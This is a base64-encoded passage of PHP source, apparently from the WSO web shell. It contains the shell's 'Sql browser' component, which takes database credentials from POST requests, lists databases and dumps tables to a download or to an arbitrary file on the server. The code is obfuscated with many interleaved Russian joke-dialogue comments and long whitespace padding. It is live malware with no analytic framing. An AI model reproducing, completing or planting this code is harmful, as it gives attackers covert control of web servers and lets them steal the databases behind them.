b3JlYWNoICgkaXRlbSAvKiA8RGF2aWQgQmxhaW5lPjog0JjQvdGC0LXRgNC10YHQvdC+Li4uINCQINGC0Ysg0YPQstC10YDQtdC9LCDRh9GC0L4g0YLRiyDQvdC1INC60YPQv9C40Lsg0YLQtdC00LTQuCDQsdC10LDRgCwg0L/Qu9GO0YjQtdCy0L7Qs9C+INC80LjRiNC60YM/ICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFzIC8qIDxBdm9uPjog0JTQsCwg0Y8g0YPQstC10YDQtdC9ISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkayA9PiAkdikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR2IC8qIDxBdm9uPjog0KLQldCU0JTQmCDQkdCY0KAhISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID09PSAvKiA8UGV0ZXI+OiDQp9GRINC30LAg0YXQtdGA0YwhICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbnVsbAogICAgICAgICAgICAgICAgICAgICAgICAgICAgKSAkaXRlbVska10gPSAiTlVMTCI7IGVsc2VpZiAoaXNfaW50KCR2KSkgJGl0ZW1bJGtdID0gJHY7IGVsc2UgLyogPFBldGVyPjog0K0sINGC0Ysg0YfQviDRgdC00LXQu9Cw0Lst0YLQviwg0LA/ISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIiciIC4gQG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkdikgLiAiJyI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1uc1tdID0gImAiIC4gJGsgLiAiYCI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRoZWFkKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsIC8qIDxBdm9uPjog0JPQtNC1INC80L7QuSDRgdCy0LjRgtC10YA/ICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLj0gLyogPFBldGVyPjog0K3QuSwg0L7QvSDQutGD0L/QuNC7INGB0LLQuNGC0LXRgCwg0LAg0L7QvSDQuNGB0YfQtdC3LCDRjdGC0L4g0YLRiyDQtdCz0L4g0YHRgtGL0YDQuNC7PyDQn9GA0LjRgtGL0YDQuNC7INGB0LXQsdC1INGB0LLQuNGC0LXRgCwg0LTQsCDRjdGC0L4g0LLQvtGA0L7QstGB0YLQstC+ISDQntGC0LTQsNC5INC10LPQviDRgdCy0LjRgtC10YAsINGB0LLQvtC70L7Rh9GMISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdJTlNFUlQgSU5UTyBgJyAuICR0YWJsZSAuICdgICgnIC4gaW1wbG9kZSgiLCAiLCAkY29sdW1ucykgLiAiKSBWQUxVRVMgXG5cdCgiIC4gaW1wbG9kZSgiLCAiLCAkaXRlbSkgLiAnKSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgLyogPEF2b24+OiDQryDQv9C+0YLRgNCw0YLQuNC7IDQ4INC00L7Qu9C70LDRgNC+0LIsINGC0YssINGC0YPQv9C+0Lkg0Lgg0YPQsdC+0LPQuNC5INGE0L7QutGD0YHQvdC40LohINCT0LTQtSDQvtC9PyAqLwogICAgICAgICAgICAgICAgICAgICAgICAkc3FsIC8qIDxQZXRlcj46INCf0LjRgtC10YAsINCz0LvRj9C90Ywg0YfQviDQvdCwINGC0LXQsdC1ISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgLj0gLyogPEF2b24+OiDQp9GC0L4g0LfQsCDRhdC10YDQvdGPPz8/INCa0LDQuj8gKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICJcblx0LCgiIC4gaW1wbG9kZSgiLCAiLCAkaXRlbSkgLiAnKSc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIC8qIDxQZXRlcj46INCSINCg0J7QoiDQnNCd0JUg0J3QntCT0JghISEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgZWNobygkc3FsKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGkrKzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkaGVhZCkgaWYgKCRmcCkgZndyaXRlKCRmcCwgIjtcblxuIik7IGVsc2UgLyogPEF2b24+OiDQryDQtNC10YDQttCw0Lsg0LIg0YDRg9C60LDRhSDQstC10YnQuCEgKi8KICAgICAgICAgICAgICAgICAgICBlY2hvKCI7XG5cbiIpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0LzQvdC1INC90L7Qs9C4ISAqLwogICAgICAgICAgICAgICAgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ1NFTEVDVCAnIC4gaW1wbG9kZSgnLCAnLCAkY29sdW1ucykgLiAnIEZST00gJyAuICR0YWJsZSk7CiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnMgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkaXRlbSAvKiA8QXZvbj46INCQLCDQvtC9INGD0LbQtSDRgNCw0YHRgtGP0L3Rg9GC0YvQuSwg0YHQv9Cw0YHQuNCx0L4g0YLQtdCx0LUhICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFzIC8qIDxQZXRlcj46INCh0LvRg9GI0LDQuSwg0L7RgdGC0LDQvdC+0LLQuNGB0YwsINCwPyAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkayA9PiAkdikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIiciIC4gYWRkc2xhc2hlcygkdikgLiAiJyI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1uc1tdID0gJGs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyAnIC4gJHRhYmxlIC4gJyAoJyAuIGltcGxvZGUoIiwgIiwgJGNvbHVtbnMpIC4gJykgVkFMVUVTICgnIC4gaW1wbG9kZSgiLCAiLCAkaXRlbSkgLiAnKTsnIC4gIlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgLyogPEF2b24+OiDQoNCw0YHRgtGP0L3Rg9C7INGB0LLQuNGC0LXRgCwg0Y8g0LXQs9C+INC00LDQttC1INC90LUg0L/QvtC90L7RgdC40Lsg0LXRidGRISAqLwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvKCRzcWwpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gLyogPERhdmlkIEJsYWluZT46INCt0LkuINCt0LksINGH0ZEg0YLRiyDQv9GM0ZHRiNGMPyAqLwogICAgICAgICAgICAgICAgZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIDsKICAgICRkYiA9IG5ldyAvKiA8UGV0ZXI+OiDQntGA0LDQvdC2INGB0L7QtNGDINGPINC/0YzRjiEg0KfRgtC+LCDQsiDQvNC10LTQstC10LTRjyDQv9GA0LXQstGA0LDRgtC40YjRjD8g0K8g0YHRgtCw0LrQsNC9LdGC0L4g0LTQtdGA0LbRgyEgKi8KICAgIERiQ2xhc3MoJF9QT1NUWyd0eXBlJ10pOwogICAgaWYgKChAJF9QT1NUWydwMiddID09ICdkb3dubG9hZCcpICYmIChAJF9QT1NUWydwMSddICE9ICdzZWxlY3QnKSkgewogICAgICAgICRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKTsKICAgICAgICAkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7CiAgICAgICAgc3dpdGNoICgkX1BPU1RbJ2NoYXJzZXQnXSkgewogICAgICAgICAgICBjYXNlIC8qIDxEYXZpZCBCbGFpbmU+OiDQntGA0LDQvdC2INGB0L7QtNGDPyDQnNC+0LbQtdGCINGH0ZEt0L3QuNGC0Ywg0LTRgNGD0LPQvtC1INC+0YDQsNC90LbQtdCy0L7QtT8gKi8KICAgICAgICAgICAgIldpbmRvd3MtMTI1MSI6CiAgICAgICAgICAgICAgICAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgLyogPFBldGVyPjog0KfQviDQtdGJ0ZEg0L7RgNCw0L3QttC10LLQvtC1PyDQndGDINGN0YLQviwg0L/QtdGH0LXQvdGM0LrQuD8gKi8KICAgICAgICAgICAgIlVURi04IjoKICAgICAgICAgICAgICAgICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgLyogPFBldGVyPjog0J/QldCn0JXQndCs0JrQmCEhISDQodGC0YDQtdC70Y/RgtGMLdC60L7Qu9C+0YLQuNGC0YwhICovCiAgICAgICAgICAgICJLT0k4LVIiOgogICAgICAgICAgICAgICAgJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgLyogPFBldGVyPjog0J/QldCn0JXQndCs0JrQmCEhISDQn9C10YfQtdC90YzQutC4ISDQn9C10YfQtdC90YzQutC4ISDQn9C10YfQtdC90YzQutC4ISAqLwogICAgICAgICAgICAiS09JOC1VIjoKICAgICAgICAgICAgICAgICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlIC8qIDxQZXRlcj46INCT0LTQtSDQvtGA0LDQvdC2INGB0L7QtNCwPyDQotGLINGH0L4g0LTQtdC70LDQtdGI0Ywg0LLQvtC+0LHRidC1LCDRgtGLINGH0L4g0LTQtdC70LDQtdGI0Yw/ICovCiAgICAgICAgICAgICJjcDg2NiI6CiAgICAgICAgICAgICAgICAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgaWYgKGVtcHR5KCRfUE9TVFsnZmlsZSddKSkgewogICAgICAgICAgICBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgcm91bmQoMCArIDIwNDggKyAyMDQ4KSk7CiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZHVtcC5zcWwiKTsKICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvcGxhaW4iKTsKICAgICAgICAgICAgaWYgKGVtcHR5KCRfUE9TVFsnY29sdW1ucyddKSkgZm9yZWFjaCAoJF9QT1NUWyd0YmwnXSBhcyAvKiA8QXZvbj46INCjINC80LXQvdGPINCy0L4g0YDRgtGDINC+0YDQsNC90LYg0YHQvtC00LAhICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2KSAkZGItPmR1bXAoJHYpOyBlbHNlIC8qIDxQZXRlcj46INCvINC90LAg0LjQt9C80LXQvdC1LCDRjyDQvdCwINC40LfQvNC10L3QtSEgKi8KICAgICAgICAgICAgJGRiLT5kdW1wX2NvbHVtbnMoJF9QT1NUWyd0YWJsZSddLCAkX1BPU1RbJ2NvbHVtbnMnXSk7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfSBlbHNlaWYgKCRmcCA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwgJ3cnKSkgewogICAgICAgICAgICBpZiAoZW1wdHkoJF9QT1NUWydjb2x1bW5zJ10pKSB7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkX1BPU1RbJ3RibCddIGFzIC8qIDxBdm9uPjog0JrQsNC60LDRjyDRhdC10YDQvdGPLCDRgtGLINC/0L7Qu9C+0LbQuNC7INC10ZEg0LzQvdC1INCyINGA0L7RgiEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICR2KSAkZGItPmR1bXAoJHYsICRmcCk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZGItPmR1bXBfY29sdW1ucyhpc19hcnJheSgkX1BPU1RbJ3RibCddKSA/ICRfUE9TVFsndGJsJ11bcm91bmQoMCldIDogJF9QT1NUWyd0YmwnXSwgJF9QT1NUWydjb2x1bW5zJ10sICRmcCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIHVuc2V0KCRfUE9TVFsncDInXSk7CiAgICAgICAgfSBlbHNlIC8qIDxQZXRlcj46INCSINGA0L7RgiDQvNC90LUg0L3QvtCz0LgsINGC0Ysg0L/RgNC10LrRgNCw0YLQuNGI0Ywg0Y3RgtC+INC40LvQuCDQvdC10YIsINC00LXQvNC+0L0sINC+0YHRgtCw0L3QvtCy0LjRgdGMLCDQsiDRgNC+0YIg0LzQvdC1INC90L7Qs9C4ISAqLwogICAgICAgIGRpZSgnPHNjcmlwdD5hbGVydCgiRXJyb3IhIENhblwndCBvcGVuIGZpbGUiKTt3aW5kb3cuaGlzdG9yeS5iYWNrKC0xKTwvc2NyaXB0PicpOwogICAgfQogICAgd3NvSGVhZGVyKCk7CiAgICBlY2hvIC8qIDxEYXZpZCBCbGFpbmU+OiDQndGDINC70LDQtNC90L4t0LvQsNC00L3Qviwg0YDQtdCx0Y/RgtCwLCDQt9C90LDQtdGC0LUsINGPINGF0L7Rh9GDINC/0L7QutCw0LfQsNGC0Ywg0LLQsNC8INC60L7QtS3Rh9GC0L4g0LTQtdC50YHRgtCy0LjRgtC10LvRjNC90L4g0LrRgNGD0YLQvtC1Li4uICovCiAgICAgICAgIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT5TcWwgYnJvd3NlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBuYW1lPSdzZicgbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD0nZnModGhpcyk7Jz48dGFibGUgY2VsbHBhZGRpbmc9JzInIGNlbGxzcGFjaW5nPScwJz48dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5UeXBlPC90ZD48dGQ+SG9zdDwvdGQ+PHRkPkxvZ2luPC90ZD48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD5EYXRhYmFzZTwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9U3FsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSdxdWVyeSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDIgdmFsdWU9Jyc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuICInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIgLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pID8gJF9QT1NUWydjaGFyc2V0J10gOiAnJykgLiAiJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxzZWxlY3QgbmFtZT0ndHlwZSc+PG9wdGlvbiB2YWx1ZT0nbXlzcWwnICI7CiAgICBpZiAoQCRfUE9TVFsndHlwZSddID09ICdteXNxbCcpIGVjaG8gLyogPFBldGVyPjog0J3QldCiISAqLwogICAgJ3NlbGVjdGVkJzsKICAgIGVjaG8gLyogPEF2b24+OiDQndC1LCDRh9GD0LLQsNC6LCDQu9GD0YfRiNC1INGB0LXQsdC1INC/0L7QutCw0LfRi9Cy0LDQuSEgKi8KICAgICI+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdwZ3NxbCcgIjsKICAgIGlmIChAJF9QT1NUWyd0eXBlJ10gPT0gJ3Bnc3FsJykgZWNobyAvKiA8RGF2aWQgQmxhaW5lPjog0KLQsNC6LCDQv9C+0LTQvtC20LTQuNGC0LUg0L7QtNC90YMg0LzQuNC90YPRgtC+0YfQutGDLCDRgdC10LrRg9C90LTRgyDQv9C+0LTQvtC20LTQuNGC0LUuLi4gKi8KICAgICdzZWxlY3RlZCc7CiAgICBlY2hvIC8qIDxBdm9uPjog0J7RgdGC0LDQstGMINC90LDRgSDQsiDQv9C+0LrQvtC1ISAqLwogICAgICAgICI+UG9zdGdyZVNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2hvc3QgdmFsdWU9XCIiIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2hvc3QnXSkgPyAnbG9jYWxob3N0JyA6IGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfaG9zdCddKSkgLiAiXCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfbG9naW4gdmFsdWU9XCIiIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2xvZ2luJ10pID8gJ3Jvb3QnIDogaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9sb2dpbiddKSkgLiAiXCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfcGFzcyB2YWx1ZT1cIiIgLiAoZW1wdHkoJF9QT1NUWydzcWxfcGFzcyddKSA/ICcnIDogaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9wYXNzJ10pKSAuICJcIj48L3RkPjx0ZD4iOwogICAgJHRtcCA9ICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2Jhc2UgdmFsdWU9Jyc+IjsKICAgIGlmIChpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10pKSB7CiAgICAgICAgaWYgKCRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKSkgewogICAgICAgICAgICBzd2l0Y2ggKCRfUE9TVFsnY2hhcnNldCddKSB7CiAgICAgICAgICAgICAgICBjYXNlIC8qIDxQZXRlcj46INCQ0LDQsCwg0LLQuNC00LXQuyDRjyDRjdGC0L7RgiDRhNC+0LrRg9GBLCDQvdC+0LbQutCw0LzQuCDQv9C10YDQtdCx0LjRgNCw0YLRjCDQsdGD0LTQtdGI0YwsINGC0LjQv9CwINCy0LfQu9C10YLQtdGC0Ywg0YXQvtGH0LXRiNGMLiAqLwogICAgICAgICAgICAgICAgIldpbmRvd3MtMTI1MSI6CiAgICAgICAgICAgICAgICAgICAgJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgLyogPEF2b24+OiDQnNC+0Lkg0L/Qu9C10LzRj9C90L3QuNC6INC80L7QttC10YIg0YLQsNC6INGB0LTQtdC70LDRgtGMLCDRgtC+0LbQtSDQvNC90LUg0YTQvtC60YPRgSEgKi8KICAgICAgICAgICAgICAgICJVVEYtOCI6CiAgICAgICAgICAgICAgICAgICAgJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlIC8qIDxEYXZpZCBCbGFpbmU+OiDQn9GA0L7RgdGC0L4g0L/QvtC00L7QttC00LjRgtC1INGB0LXQutGD0L3QtNC+0YfQutGDLCDQsD8gKi8KICAgICAgICAgICAgICAgICJLT0k4LVIiOgogICAgICAgICAgICAgICAgICAgICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgLyogPFBldGVyPjog0JrRgNC40YEg0K3QudC90LTQttC10Lsg0LTQtdC70LDQtdGCINGN0YLQviDQu9GD0YfRiNC1LCDRgdGD0LrQsCwg0L/QvtC90Y/Quywg0JrRgNC40YEg0K3QudC90LTQttC10Lsg0LTQtdC70LDQtdGCINGN0YLQviDQu9GD0YfRiNC1ISAqLwogICAgICAgICAgICAgICAgIktPSTgtVSI6CiAgICAgICAgICAgICAgICAgICAgJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAvKiA8QXZvbj46INCt0LnQstC40L0hINCvINC70LXRh9GDISAqLwogICAgICAgICAgICAgICAgImNwODY2IjoKICAgICAgICAgICAgICAgICAgICAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGRiLT5saXN0RGJzKCk7CiAgICAgICAgICAgIGVjaG8gLyogPFBldGVyPjog0IHQvNCw0L3QsNGA0L7RgiEhICovCiAgICAgICAgICAgICI8c2VsZWN0IG5hbWU9c3FsX2Jhc2U+PG9wdGlvbiB2YWx1ZT0nJz48L29wdGlvbj4iOwogICAgICAgICAgICB3aGlsZSAoJGl0ZW0gPSAkZGItPmZldGNoKCkpIHsKICAgICAgICAgICAgICAgIGxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOwogICAgICAgICAgICAgICAgZWNobyAvKiA8QXZvbj46INCvINGH0YPQstGB0YLQstGD0Y4g0YLQtdC/0LvQviDQuCDQu9C10YfRgyEgKi8KICAgICAgICAgICAgICAgICAgICAnPG9wdGlvbiB2YWx1ZT0iJyAuICR2YWx1ZSAuICciICcgLiAoJHZhbHVlID09ICRfUE9TVFsnc3FsX2Jhc2UnXSA/ICdzZWxlY3RlZCcgOiAnJykgLiAnPicgLiAkdmFsdWUgLiAnPC9vcHRpb24+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvIC8qIDxQZXRlcj46INCB0JzQkNCd0JDQoNCe0KIhISEgKi8KICAgICAgICAgICAgJzwvc2VsZWN0Pic7CiAgICAgICAgfSBlbHNlIC8qIDxQZXRlcj46INCe0L/Rg9GB0YLQuCDQtdCz0L4sINC/0L7QttCw0LvRg9C50YHRgtCwLCDQsD8g0IHQvNCw0L3QsNGA0L7Rgiwg0L/QvtC0INC90LjQvCDQvdC40YfQviDQvdC10YLRgywg0YHQvtCy0YHQtdC8INC90LjRh9C+INC90LXRgtGDISAqLwogICAgICAgIGVjaG8gLyogPEF2b24+OiDQntC9INC30LDQutC40L3Rg9C7INC80LXQvdGPINC90LAg0LrRgNGL0YjRgyEg0J7QvSDQvdCwINC60YDRi9GI0YMg0LzQtdC90Y8g0LfQsNGH0LXQvC3RgtC+INC30LDQutC40L3Rg9C7ISDQl9Cw0YfQtdC8INGC0Ysg0LzQtdC90Y8g0YHRjtC00LAg0LfQsNC60LjQvdGD0Ls/INCU0Y3QstC40LQg0JHQu9C10LnQvSwg0LTQsNC5INC80L3QtSDRgdC70LXQt9GC0YwhINCU0Y3QstC40LQg0JHQu9C10LnQvSwg0YHQv9GD0YHRgtC4INC80LXQvdGPISAqLwogICAgICAgICR0bXA7CiAgICB9IGVsc2UgLyogPFBldGVyPjog0KXQstCw0YLQuNGCINC80L3QtSDQs9Cw0LfQuNGA0L7QstC60YMg0LIg0YDQvtGCINC/0LjRhdCw0YLRjCEgKi8KICAgIGVjaG8gLyogPEF2b24+OiDQntC9INC00LDQttC1INC90LUg0L7RgtC70LXQstC